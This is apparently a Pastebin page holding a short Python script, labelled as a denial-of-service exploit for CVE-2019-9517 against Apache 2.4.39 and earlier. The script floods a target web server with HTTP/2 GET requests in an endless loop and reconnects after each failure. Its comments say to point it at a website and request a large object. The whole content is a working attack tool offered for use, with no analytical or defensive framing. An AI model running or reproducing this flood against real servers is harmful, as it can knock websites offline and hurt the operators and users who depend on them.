Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python3
- #Will cause a dos.
- #Webname should be the url of the website and the port 443 oly working for http2.0.
- #You should request a large object
- from hyper import HTTPConnection
- webname = 'localhost:443'
- requestObj = '/'
- def makereq():
- i = 1
- print("Start")
- while 1:
- try:
- conn.request('GET', requestObj)
- print(">"+ str(i) + ":Requests send<")
- except:
- conn = HTTPConnection(webname)
- print("Reconnect")
- i += 1
- if __name__ == "__main__":
- print("CVE-2019-9517 for <= Apache/2.4.39")
- try:
- conn = HTTPConnection(webname)
- conn.request('GET', requestObj)
- re = conn.get_response()
- print(re.read())
- makereq()
- except:
- print("Looks like something went wrong.Exit")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement